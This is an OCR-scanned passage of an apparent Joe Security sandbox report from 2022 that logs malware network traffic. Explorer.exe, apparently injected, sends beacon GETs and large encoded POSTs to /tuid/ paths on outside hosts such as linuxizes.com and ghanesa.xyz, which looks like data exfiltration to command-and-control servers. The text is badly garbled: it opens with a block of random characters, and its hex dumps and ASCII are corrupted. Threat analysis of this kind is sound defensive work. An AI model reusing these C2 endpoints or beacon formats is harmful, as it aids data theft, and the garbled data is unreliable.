zFzvla_Ok3FSDSupuoDhfziSUZ_(TzS2yqYaSqO22c22pAmicJOFSt63BzB(Ecgf2yqfxgkhOK9afu31gbQYW6mKZm
946GuBHSveP4wsitQEAhwouvSJI8hgOH3XLbrAc-H2ax3ah2AiuM84w8BnRcssSbrIEjnDSWNDohR82wTe0AfmkCqlp
rapS0GZ4F79GFaW5u9lhK3lpugd4Czjj980fm3FgzVdowQG9cfXbm8vRgl_9wV65IRqqta9myO0LOEPkJUR509¢8Dsz
AeJuT3p41XsLIN7I-wTVyuNNYKBBI2ZOnEj~FuHvQDYsY44At5KR2qroDwU8JTWeWtS1-CW1n4AnkCatOudIg6F99v
kQRFMBNFV84IGYWkb~uRj0YCPiWxMe5aSnesK4NVEBgAt(APKLyulmJWyLiWjD11PVJ98n-X5Zj1y6ZhSfTj9fUS_s
48aXqleDFaoyjdp7ZN_QcSkXaKqG3GF8yUzEmrri3pzO76HE-9_JD~aWYX94_3f8kMhq5ttMbHBIeQZKuB4cvvwZnj-
nMPm(913lcIDctzXEdXjsvD-KctUpYfZDnOON2boEVhEXReK1K6ZMaDLH4gdUjrONRy_KoduvigEWIFczo~aJljGf
LvICEYWXCATPtUTEZQfckXHX1Ci9FnwXyEGRIrDFNNDXfwGHND4BN46r7rM3HILV3JAGpYiuvXeaXilHraJzDjkaWVrdto-
bz0S1GNCOWWexfvizZVORSRGBW5dBghEueaT T3EKD8riizUP9b2G_rLFJIZhylPcm3Gg7m8ygMX5FHajZZth6D4
JjnBFHOYhWUsZNuGAiZvaHwWUyOM-oUQETNIEL5GA~t1BG2s9vtwwzHGd(b0_2DQuKwQQwmSILaL0igbsIQBn4nJRGZy
XgsjcRj35vX0J6dCOQZHYV5GG20hGGUIwO-H77yo4FWCLYJsIIN3WbTonVZe_~RFwIYkuQAmMZS3C2Kbs606b5J1ICx
nYNLIEMWrLOVVPVexPxxyLWZu6dCTnqtOvAxgkqPUOmMysCWalLpu44WhSXIPClfcokzUd4X5Uwrf7P4iJdrsw8hW1ly
IARXASS7NJerhiQAhHHIX
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kBytes

Timestamp transferred
Aug 8, 2022 2012
17:46:08.672900915
CEST
Session ID Source IP
26 192.168.11.20
. kBytes
LHILEE transferred
Aug 8, 2022 2012
17:46:08.648979902
CEST
Aug 8, 2022 2014
17:46:08.749635935
CESI}
Session ID Source IP
27 192.168.11.20
. kBytes
Tim m
[T transferred
Aug 8, 2022 2028
17:46:19.096998930
CEST

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49793

Direction

ouT

Source Port

49794

Direction

ouT

Destination IP

104.21.51.250 80

Destination IP

66.29.155.228 80

Data

HTTP/1.1 301 Moved Permanently

Date: Mon, 08 Aug 2022 15:46:08 GMT

Transfer-Encoding: chunked

Connection: close

Cache-Control: max-age=3600

Expires: Mon, 08 Aug 2022 16:46:08 GMT

Location: https://www.147bronzeway.com/tuid/

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\w3?s=qG1dIsiFm8rBZWI7RjDtEvrlyy%2BAVM
GWOwvDmZdYbxPZkylgRYgrEVZOri%2BF8uPJBaFgHCs9ZNvC%2B%2FB6j8e5PuoPpLPgXbfczCWshIRPyyG0ekc9Q%
2BfVKTHdP9%2BKrGQ2b0GZ5mkM%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Vary: Accept-Encoding

Server: cloudflare

CF-RAY: 73796213ffc175e3-LHR

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination Port Process

C:\Windows\explorer.exe

Data

GET /tuid/?m4bd=Xot5|Tp2K0CInYt2dL3gfCxcaVN+/32Qk6xa6/2CoOF7guyvNDwT{ZphG6kmH2ULd7pQ&8pB=3
fY8IjB8rp-H HTTP/1.1

Host: www.147bronzeway.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Mon, 08 Aug 2022 15:46:08 GMT

Transfer-Encoding: chunked

Connection: close

Cache-Control: max-age=3600

Expires: Mon, 08 Aug 2022 16:46:08 GMT

Location: https://www.147bronzeway.com/tuid/?m4bd=Xot5ITp2K0CInYt2dL3gfCxcaVN+/32Qk6xa6/2CoOF7guyvND
WTfZphGekmH2ULd7pQ&8pB=3fY8IjB8rp-H

Report-To: {"endpoints":[{"url":"https:V\V/a.nel.cloudflare.com\ireport\/v3?s=jZAesZal%2FHbOxJhuP2z1lawWHGeuC27
IXFKUUVXVDTTFEWCW6Hb2zmfdGLtsn34rX8psaDP6RatMtL4ZP%2BRw1jMSOpYa6WOF7uSfEpxoxRiB870%2Fq13Z
B4DHQQDJ%2FZY8Ca%2FFc908QQ%3D%3D"}],"group™:"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 737962142cbb7300-LHR

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination Port Process

C:\Windows\explorer.exe

Data

POST /tuid/ HTTP/1.1

Host: www.linuxizes.com

Connection: close

Content-Length: 174830

Cache-Control: no-cache

Origin: http://www.linuxizes.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.linuxizes.com/tuid/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 6d 34 62 64 3d 68 42 65 5a 53 6e 6f 58 65 38 4c 59 67 5a 7e 76 68 55 31 33 53 74 37 4c 4b 37 34 62 62 7a 31

58 42 5f 38 70 35 51 57 6¢ 6e 6¢ 67 6¢ 41 75 53 74 35 78 6e 46 39 4c 33 72 33 6¢ 63 72 39 69 54 4c 33 38 4c 43 41 35

6b 57 72 52 4e 50 4b 6a 30 2d 46 71 55 6f 34 52 46 6d 37 74 70 4a 49 33 33 47 65 74 4b 44 38 36 7a 4a 38 46 7e 49 7a

61 74 38 54 37 6d 76 30 45 7e 62 78 59 51 71 42 6¢ 75 44 44 72 74 5f 48 32 53 69 51 4f 39 77 55 31 33 38 45 51 66 48 6

d 51 4e 4d 41 63 6f 46 63 48 59 4d 4f 58 62 70 34 50 59 56 71 50 30 61 6d 76 46 75 28 7a 58 57 4e 31 61 53 41 2d 58 56

51 4d 58 52 69 2d 65 34 4a 56 45 37 6b 53 49 43 7e 4c 7e 30 55 5f 31 33 50 6a 5a 50 28 58 4c 58 4d 6a 38 53 37 56 28

6e 46 75 74 71 54 59 79 59 55 4c 54 76 6a 5f 32 39 49 39 4e 49 28 33 7a 63 59 37 49 6d 7e 73 75 62 47 34 34 77 28 47

6c 64 61 4a 64 53 5a 70 70 79 6f 35 35 39 6e 49 58 4a 71 4a 50 5f 79 52 6b 56 35 65 36 4e 59 41 59 58 6a 71 7a 71 34

34 6b 43 37 6b 78 43 75 66 34 65 31 77 37 64 73 48 34 6¢ 4c 56 6f 46 62 6d 70 6f 7a 33 75 69 6f 33 5a 73 79 53 51 58 55

44 42 6¢ 55 67 76 4d 31 33 52 73 6d 55 50 4d 6a 38 55 52 37 70 34 39 6e 69 55 67 63 4c 49 35 57 5a 68 58 49 39 51 35

28304c 37515847 79 68 36 76 33 4c 6b 7a 47 67 67 55 64 43 50 4e 36 5a 31 4c 75 28 57 6a 70 44 31 4f 51 56 6e 76

34 68 703959 73 2d 51 62 38 69 43 30 63 74 6a 58 52 39 55 75 67 6e 31 59 77 4b 67 62 64 65 35 54 4a 51 6f 31 4d 67

73 75 7a 4a 78 59 67 31 6e 2d 28 5a 7a 6e 33 4b 55 70 38 6e 62 33 50 5f 75 46 30 73 7e 6d 4e 55 69 35 57 59 63 6d 47
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Timestam| LEpee

P transferred
Aug 8, 2022 2193
17:46:19.889974117
CEST

Copyright Joe Security LLC 2022

Direction

48 6a 55 64 5t 6a 51 77 37 5a 58 78 55 6b 59 37 2d 73 30 54 37 69 54 65 4d 7a 35 66 6d 48 66 70 5a 49 44 28 31 4c 6d
Dafisl 56 45 35 68 42 2d 38 61 46 78 4b 50 64 55 53 53 36 33 41 39 46 78 68 46 53 51 65 49 38 47 6e 42 49 35 65 54 6e
59 45 56 59 4c 37 70 38 39 76 49 33 59 72 54 6f 6a 54 45 4d 76 50 59 64 53 67 44 35 7a 36 61 79 63 45 67 32 56 28 68
6a 69 65 37 5a 44 41 33 50 48 7a 55 6f 51 64 52 48 45 67 50 77 77 31 33 4a 6¢ 41 61 31 47 74 70 6d 4b 6b 72 65 38 28
6C 66 46 4e 30 37 78 77 4b 7e 32 65 6d 67 35 28 4f 63 54 32 74 42 35 47 4a 71 38 36 72 6f 6d 51 53 56 48 44 46 51 39
51 6a 48 6¢ 6d 55 39 6b 30 51 55 42 66 74 4b 57 36 4f 41 72 73 58 34 64 61 4d 49 5a 76 66 7e 68 72 72 34 57 4e 6e 56
51 35 6e 59 4¢c 34 67 65 4c 51 65 55 55 30 66 47 5f 75 54 51 63 35 62 59 42 39 62 4d 6e 76 36 76 52 63 42 31 4f 73 78
48 6b 7a 61 46 2d 47 43 4d 2d 59 36 41 36 6f 77 4e 64 52 5f 42 6e 32 6¢ 4b 46 62 6e 49 38 64 74 64 36 5a 77 6b 41 4f
3049 72 37 5f 78 74 4a 50 7a 6d 68 41 71 69 55 59 51 46 54 4b 30 5f 33 6b 53 37 62 35 58 62 34 43 73 67 69 61 58 38
78 37 33 4a 4a 6e 46 55 6d 79 38 56 28 38 6b 64 55 44 55 71 59 79 4e 70 6d 79 73 59 39 30 67 66 63 59 6e 70 72 33 42
7932 7955 31 72 4b 6b 42 6f 62 58 6f 54 6¢ 62 6f 57 78 65 34 7e 70 45 33 35 46 46 58 41 4b 67 42 59 39 63 47 44 44
64 54 6f 50 76 70 6¢ 50 44 4a 51 58 70 2d 47 58 5a 51 37 51 52 4d 42 43 45 6d 70 5f 55 4a 69 65 57 79 36 68 51 7a 55
68 37 34 74 4c 7e 64 30 55 36 65 72 59 77 38 57 51 74 50 62 74 65 6¢ 69 63 7a 53 76 38 4c 36 5a 35 43 55 6a 50 50 30
6f 42 43 57 77 38 78 5a 28 37 28 35 7a 41 43 45 67 50 50 57 33 78 47 32 44 42 34 47 50 2d 6d 37 77 6e 6¢ 6e 4d 59 68
653151333050 7831 6¢ 58 32 77 62 49 64 63 49 6e 6b 59 50 34 77 28 6b 66 52 72 52 67 4e 30 41 77 68 38 45 42 38
76 73 75 36 62 4f 4d 6¢ 76 2d 6¢ 56 78 56 39 2d 4a 49 6d 39 72 30 36 43 49 49 78 74 45 6b 70 4e 7e 36 32 65 66 39 41
70 7e 66 72 4f 62 39 66 78 78 46 77 4e 66 73 50 59 78 46 68 2d 51 66 37 61 68 6b 63 77 38 33 6e 71 57 63 72 35 69 65
6b 38 76 69 48 57 7a 4e 52 75 72 73 77 54 39 51 6¢ 36 45 33 44 49 36 4c 57 64 32 4d 74 30 55 6d 32 6¢ 64 71 6d 74 74
4d 31 52 51 6¢ 54 4d 68 32 33 5f 72 64 74 74 49 41 6a 36 42 6f 79 62 7e 6f 64 52 58 33 43 33 7a 64 41 74 62 65 47 56 53
72 46 4c 69 62 71 54 69 49 45 41 41 52 49 2d 65 53 4e 74 73 35 58 73 7a 48 62 52 64 75 76 55 38 68 7e 67 71 42 47 43
54 4d 45 6c¢ 35 6a 6d 65 75 75 53 77 34 6¢ 39 6f 63 57 5a 6e 32 4b 32 73 73 71 35 44 71 49 31 33 61 66 7a 63 34 65 52
66 7e 6a 38 30 50 54 53 62 73 73 6b 31 4f 73 58 72 72 49 6b 56 76 4b 6a 5f 4c 59 4d 35 63 6f 78 7a 42 5f 4e 43

Data Ascii: m4bd=hBeZSnoXe8LYgZ~vhU13St7LK74bbz1XB_8p5QWInlglAuSt5xnFIL3r3lcr9iTL38LCASKWIRNPKjO-FqU
04RFM7tpJI33GetkD862J8F~Izat8 T7mvOE~bxYQqBIUDDrt_H2SiQO9wWU138EQfHMQNMACOFCHYMOXbp4PYVgP0am
VFU(ZXWN1aSA-XVQMXRi-e4JVE7KSIC~L~0U_13PjZP(XLXMj8S7V(nFutqTYyYULTvj_29I19NI(3zcY7Im~subG44
w(GldaJdSZppyo559nIXJqJP_yRkV5e6NYAY Xjqzq44kC7kxCuf4elw7dsH4ILVoFbmpoz3uio3ZsySQXUDBIUgvM1
3RsMUPMj8UR7p49niUgcLISWZhXI9Q5(0L7QXGyh6v3LkzGggUdCPN6Z1Lu(WjpD10QVnv4hp9Ys-Qb8iCOctjXRIU
ugnlYwKgbde5TJQo1MgsuzJIxYgln-(Zzn3KUp8nb3P_uF0s~mNUiSWYcmGHjUd_jQw7ZXxUKY7-s0T7iTeMz5fmHfp
ZID(1LmwmVES5hB-8aFxKPdUSS63A9FXhFSQel8GnBI5e TnYEVYL7p89vI3YrTojTEMVPYdSgD5z6aycEg2V (hjie7Z
DA3PHzU0oQdRHEgPww13JIAalGtpmKkre8(IfFNO7xwK~2emg5(0cT2tB5GJq86romQSVHDFQIQjHIMUIKOQUBfKWE
OArsX4daMIZvi~hrrdWNnVQ5nYL4gelLQeUUOfG_uTQc5bYB9bMnv6vRcB1OsxHkzaF-GCM-Y6A60wNdR_Bn2IKFbnl
8dtd6ZwkAOOIr7_xtJPzmhAqiUYQFTKO_3kS7b5Xb4CsgiaX8x73JInFUmy8V(8kdUDUqYyNpmysY90gfcYnpr3By2
yU1rKkBobXoTlboWxe4~pE35FFXAKgBY9cGDDAToPvpIPDIQXp-GXZQ7QRMBCEmp_UJieWy6hQzUh74tL~dOU6erYw
8WQtPbteliczSv8L6Z5CUjPP00BCWw8xZ(7(5zACEgPPW3xG2DB4GP-m7wninMYhelQ30Px1IX2wbldcInkY P4w(kf
RrRgNOAWh8EB8vsu6bOMIv-IVxV9-JIm9r06ClIxtEkpN~62ef9Ap~frOb9fxxFWNfsPYxFh-Qf7ahkcw83ngWer5i
ek8viHWzNRurswT9QISE3DI6LWd2MtOUm2ldgmttM1RQITMh23_rdttIAj6Boyb~0dRX3C3zdAtbeGVSrFLibgTIIEAARI-
eSNts5XszHbRduvU8h~ggBGCTMEI5jmeuuSw4l90cWZn2K2ssq5Dql13afzc4eRf~j80PTShssk10sXrrIkVvKj_LYM5cox
zB_NCO0IMWRY Vy1KX~KfXtfPBzmIImtr-7e0330QyLwYyjojTLWRgW_HLePLtC7cYrnGhnONaA56RrKx59hmijkjDug
VLTghAC00Ty5T9XWrxUXkN10azSE6TSLHGj~eb82voC2KnOCGfhSETQxREsdzY1Rs8eHdEDSIRCDAT-ID3_nraC9R~
Sg-ZHtGsIMAU82Y4yqbyLPbymeu4-~HjBr4Az7wn9K9G4ImtOBRXVCBxM2RCOWby-QKJIG8OO0ni-cjwdSdlgqu2vP2u
GtFOEO-v7WQoYS10yTCdgqyJNGBOEaON13mjNQs0Ih5RefJoYrOCNkdxCyjMMcdEAVPdPNXDB7zMBqSU-
C1mMmOOTqYu8saPrVoOToBINEFf4K6e71F(-1RYLGZDcHoBsh0tD3OFrM2DRiuPti5(12xag11sQP5Pe0Jf4qyldH
CblJ8geWa~gAqQ2wMWYKIi6LWpelATOit9mUh5mL4zgx0eB2AVAVAYTIZwIBWQ6i0BYN3YITZsG-uZ0gOrnu~PdG3DQ
eOpiSWEK8eNKWBpKuolYKo_JJVdKJIbZ7guvUJ8_ bBpf72L7SwL2JkaRXSOT5zGXZ5bwZSqWNjSSLUIUgchg222rth8
vrXelPE3rxY3kC9io6Hcm48B4(VcFqr~0fAGGKQAUFI3r05dBv8c67KxPZ40cygExXIhWHNIE7IMr54vgWKAWWPXX2
El162xgzhOa46kMC1iW9hIp85_iKPBhbyROCdLYKv41blOxxK5a0dsRRaXR6yCL12eK-GIb1x7BsQn9rMKLUOHKIZus
TYXLcUZEOuHaw46HMKU~AsZKC3D~FkSgpOwWjW2axvF(33c~HbakvC4YWi9lBS77ZE|z5ikyOlqgCaSWRIxuNbkwPtc
3clgrionezHSR7XUWS5MrFJUD-Z2UqV_TZJ0gadRIiQIwv7zxLi9~-M1kal 1ejRigsQ7RALSXSERUUCNrObZY3azhur
R3nhtulBH4H4clIrKVZKHGYBFxghv(q5T5i0sQnj8mjgXsiKqBC2QAXEHb_6uDritiuj70ygbMJqE84Z1TBM3L1eHh
owx7y3s4SQ8jxtkfdv3C6(QOcrEw65iyVPsVEXXAARY30i0shU7zY X6kIAFL8wpgpcK3juDzN4ayqwCeNDBwK8cLaX
EONNxK_C14BKr6BDoT0GIIV7ZCUBUWIIk4E9fzDFICW~9Dc6egt9ImkuRqTI0akCUY3TkWd2cVhZ_(SMWftlbweDzA
WwDZnMe(cHoMDla4_IK8ZVDGxRteFT60x3YU4lhatB8cnf4ANERDXyvpOfGW1GOvtpob7C4p8h96r3M7~1Pd62uDX7T
55EHHMO0imbMyOIWtO0iC-P7Jd8hkV0S0zKJIG52vThmkSzjNBpG4ZRkrY SG7H-phiv3J9351yL5ThMpe7aNb8QWqDKb
fGQfrV9ecXG7wUX9IR5zhRQXZWK (Y5mSPBICIr41aMIBPC6ZmXE2KBGuUf3MLnyqrfKngvK3(r6SltheFR1uRrjYoECz
GZ8mWzwSvLWUGZqoinZEDLQfBWGpw(VFKKk9GmM~rXdRLnogiKpJvO5HVO5jcpYM4FYBDsYAaLXNgF0997
hQu3VtR0cO3UsbnbjLcmOZ6B5mD47LIHQs-1ZV7wvukGWuUNNpj2qyr7HcIBI_igZivVDWhfaV3wsB-knhjVJligQq8KBO4-
hoPDOGgIjRISEEC6WVSTriVj~UFrkieylkfg2jcylWRXcLX1LV-iHW3psVWEQowhCyghUOt(GKROSOpGbgQqxh
XUIBgBFKRISiunT4ULIZgtQgN(vIdAp3L~bpll_kM1k(FKbCcK4UWhXWKEQe-30H1IMyZi2Bo2wF5(UZZsPi2ltqFd
LVFKteyeXrCODhCMRIXAIlgC4dmp7PXX9hnUCDItUAIRX5qGnY rX6lQCh5vX2wqv7MBUPVR|BPDaXmEJMKIEkwISMC
WLJI5UTISW~Evh9lc4DvmzYx35rnm696yrqB8-~1KjincUKwLXhGpPNhUWKYI2Zg9n5e1uqvl9in24BapGBOVAZ58Bd
Y8fPHXUILQ50fyDUc3VWaNig22yOlz4fn2uZrIGwhDOvplrédalXfoemkyLaZWKayTy1jMtoOVOpTmXiJwQgT~PU59
F41774ShrXIYKyobaHE1-h4s23UbBhf(iA0Oxa39e0JO0RpIsLmo2ej9Ucnm5DRy6pCNHMqrRsIFearlcMQp33PCvKF
W(Tg9YwlIbYHrhBPIpjT8eVOcwBtDReNN5SPj199kGoAUspyLE701IKUgxVNIG5D57hLvkadi7aOEpIXc80N7ya6oce
5YGEplwgU6A5d5YDA2-3ZY0dcM9S-Xi4pC78d24LhT9aBmtVTomulicMry1CyiMT4VnPkHwWrDLTs2DdmiFgRWTYBBW
bgjoHEA919H(35ZFps52XGGug492M4qRIfH~uaowER8BH-G4FMANth9ZKBA90xzuy4dbiCKkzAqUfMZIH3m6EIkhthmE
p2YHg5JhFdmy_(kpOKfDatizQOmiQ18zWkv920g4vGe3K(HVSFRKBAVPDhHWtb9CTyhYXIEIYD-P7PfET3_ftCYu4h
CmFgABe7rs1(OhmZOJbjf8MEL6WG1BCIAJY7IvXQWeWI6yecdxJfGi404KSqlp8W2mJoTqCzU1WZLW70pnBEd5K4uQ
aAJj_eAlbE6UUJUVEBhUOs_VADN~Ccul Hacrd~IxXNFBbEGVB

HTTP/1.1 404 Not Found

Date: Mon, 08 Aug 2022 15:46:19 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 279

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3¢ 2f 70 3e 0a 3c 68 72 3e Oa 3c 61 64 64 72 65 73 73 3e 41
7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6¢ 69 6e
75 78 69 7a 65 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74
6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29
(Ubuntu) Server at www.linuxizes.com Port 80</address></body></htm|>
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Session ID Source IP

28 192.168.11.20

. kBytes
Timestamp transferred
Aug 8, 2022 2194
17:46:21.265398026
CEST
Aug 8, 2022 2194
17:46:21.482583046
CEST
Session ID Source IP
29 192.168.11.20

. kBytes
WISET transferred
Aug 8, 2022 2208
17:46:28.467752934
CEST

Copyright Joe Security LLC 2022

Source Port

49795

Direction

ouT

Source Port

49796

Direction

ouT

Destination IP Destination Port Process
66.29.155.228 80 C:\Windows\explorer.exe
Data

GET /tuid/?M8s=w86DJpgx5FYIUfRP&m4bd=uDgjMCOTPYTc8b3BnUYVD5r+dOFleilgQYFlghS/310xMeb2xRi82
/WbnXFAxC3dxs30 HTTP/1.1

Host: www.linuxizes.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Mon, 08 Aug 2022 15:46:21 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 279

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20
48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46
6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4¢ 20 77 61 73 20 6e 6f 74 20 66
6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41
7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6¢ 69 6e
75 78 69 7a 65 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74
6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29
(Ubuntu) Server at www.linuxizes.com Port 80</address></body></htm|>

Destination IP Destination Port Process
103.150.61.226 80 C:\Windows\explorer.exe
Data

POST /tuid/ HTTP/1.1
Host: www.ghanesa.xyz
Connection: close
Content-Length: 174830
Cache-Control: no-cache
Origin: http://www.ghanesa.xyz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.ghanesa.xyz/tuid/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 6d 34 62 64 3d 54 4c 4d 65 6¢ 6¢ 68 45 74 73 63 63 28 36 74 68 59 6f 65 61 71 36 71 39 65 50 31 32 6a 74 57
6270 38 48 52 6d 41 48 64 28 58 6¢ 69 7e 34 7a 49 7e 63 47 64 42 64 6¢ 57 73 54 65 48 4b 31 64 67 48 45 6¢ 4b 6b 53
747766 70 47 57 49 64 7e 4f 6d 46 4c 65 6f 6f 75 69 45 44 36 6a 6b 70 4f 4b 6e 4c 62 69 30 4f 36 64 59 73 67 6¢ 47 79
7e 6b 44 72 33 44 54 64 52 31 4b 66 65 38 41 44 48 76 30 45 42 64 63 68 43 31 4d 55 36 41 44 49 54 71 4a 73 64 45 52
4f 6b 35 6d 58 72 43 50 67 56 56 63 4b 5a 56 6b 52 67 34 46 71 78 65 28 5a 56 37 31 31 6a 55 46 76 44 4c 36 35 43 62
59 74 46 46 55 52 64 35 62 4f 61 51 4c 5a 61 62 47 6e 39 57 6¢ 57 4e 33 55 42 77 38 37 32 76 73 28 47 39 2d 33 41 61
7066 41 76 68 68 71 6¢ 79 6a 57 6e 51 6e 69 53 39 54 6d 50 75 66 74 4e 4f 6e 4f 41 43 62 43 53 45 36 57 74 30 6d 44
51 38 7a 38 63 52 59 63 38 75 6a 48 39 48 73 7a 33 76 69 69 45 49 28 39 31 65 30 37 47 54 7e 34 39 76 41 5f 45 65 57
47 37 6a 39 54 6¢ 6b 72 66 30 4a 31 30 53 6a 77 4c 67 4b 33 50 71 72 7e 41 34 53 4f 7a 43 75 62 6b 44 50 4a 2d 57 48
49 36 75 70 44 73 31 47 4e 35 4d 6d 65 4a 41 79 7a 6a 68 6e 66 75 77 39 31 55 34 78 74 6a 66 6a 42 4c 65 70 68 59 46
77 66 62 62 63 59 73 4e 47 34 6e 69 35 4f 44 63 36 79 56 49 6b 66 76 36 5a 76 6e 79 35 47 64 36 6b 78 30 45 30 28 61
79 76 57 4f 71 48 41 68 54 74 44 51 38 46 4d 76 77 67 66 45 6b 7a 43 79 69 2d 4d 4e 33 63 46 30 59 56 71 5a 44 73 4c
63 36 69 59 38 78 39 48 32 64 69 6¢ 56 47 6b 71 74 55 49 6f 76 52 75 4f 42 62 70 51 79 35 43 61 54 57 79 4e 77 46 58
74 4c 4e 51 36 70 42 71 70 78 4a 54 6a 56 38 7a 54 65 31 57 37 7a 6d 6d 73 59 62 63 30 72 47 6d 44 66 4e 70 66 4b 4b
52 52 7a 4e 63 32 65 7e 63 46 64 72 71 52 33 66 49 70 34 4f 63 34 63 72 74 6b 71 78 48 71 48 72 4e 68 63 45 33 76 36
51 33 65 75 31 36 65 4e 6e 63 4a 52 7e 75 32 41 74 46 51 68 35 32 38 39 64 57 45 61 61 6b 68 52 31 33 28 67 4e 44 62
55 7a 53 77 4d 5a 4f 54 33 62 39 73 2d 6b 46 36 66 75 5a 57 53 54 4d 4b 55 6¢ 59 4a 66 58 6b 5a 72 71 37 44 64 74 65
4a 4e 6e 47 35 72 4c 64 6d 33 72 64 43 41 62 6¢ 75 34 74 44 4d 57 50 4e 39 57 6b 39 6d 7a 39 59 53 73 59 61 72 31 66
68 59 58 51 63 69 65 36 73 28 37 51 44 56 64 54 48 54 65 36 35 6b 6d 58 39 7e 4c 77 79 43 35 47 7a 38 50 46 6e 62 57
6¢ 30 6a 70 64 61 4a 5f 79 4b 67 77 64 50 46 75 75 43 61 6f 34 5a 62 4a 4d 34 4f 38 28 6b 48 45 68 74 50 43 42 49 7a
6d 42 41 63 4d 61 56 42 61 6d 4e 67 61 34 56 57 38 63 52 61 4f 64 39 55 6d 6b 53 65 5a 67 59 55 39 58 79 72 53 76 62
54 4f 38 6a 35 4d 4f 71 63 7a 37 4a 50 79 32 30 62 6f 39 6d 75 35 79 61 34 45 67 49 34 72 39 58 65 72 4f 6a 46 6e 79 58
6f 5f 61 46 75 6f 78 37 64 79 56 2d 4f 31 4b 52 4a 75 37 64 53 63 68 31 48 52 5a 31 79 4b 79 58 31 32 58 67 53 75 6f 45
38 6a 4e 58 54 5f 32 42 72 77 76 59 6f 49 48 70 35 48 43 6b 7a 4b 47 2d 50 33 51 32 56 78 78 6e 57 36 36 33 72 39 64
707a70 72 3562 67 76 64 58 6e 28 4a 66 69 28 37 4a 6d 52 6¢ 64 37 68 4e 4b 73 32 4e 31 6e 4d 39 65 2d 7e 6e 44 37
46 4379 6159 47 71 75 75 64 32 78 6¢ 73 28 75 32 5f 54 55 4d 4f 61 66 67 4b 70 70 72 65 7a 69 71 39 77 4a 73 4e 78
6a 77 79 54 73 69 36 52 35 36 61 32 69 38 6f 6e 48 4d 49 63 51 77 56 4e 73 46 66 32 61 69 4e 54 63 38 67 31 30 67 53
72 65 62 39 4f 31 44 70 6d 66 37 7a 51 33 34 68 48 56 5a 75 54 43 58 62 35 69 48 53 73 52 6d 48 39 32 30 55 67 58 4e
54 79 36 4f 42 38 56 63 59 6e 54 64 6f 4a 6¢ 47 4f 77 47 6d 36 53 4a 41 4d 36 56 67 32 56 36 67 2d 79 54 43 48 54 6f 53
61 7a 58 58 47 48 33 61 44 59 77 31 54 72 36 66 6f 47 49 72 31 56 6b 6a 36 68 51 57 69 67 49 66 67 54 46 69 58 70 5a
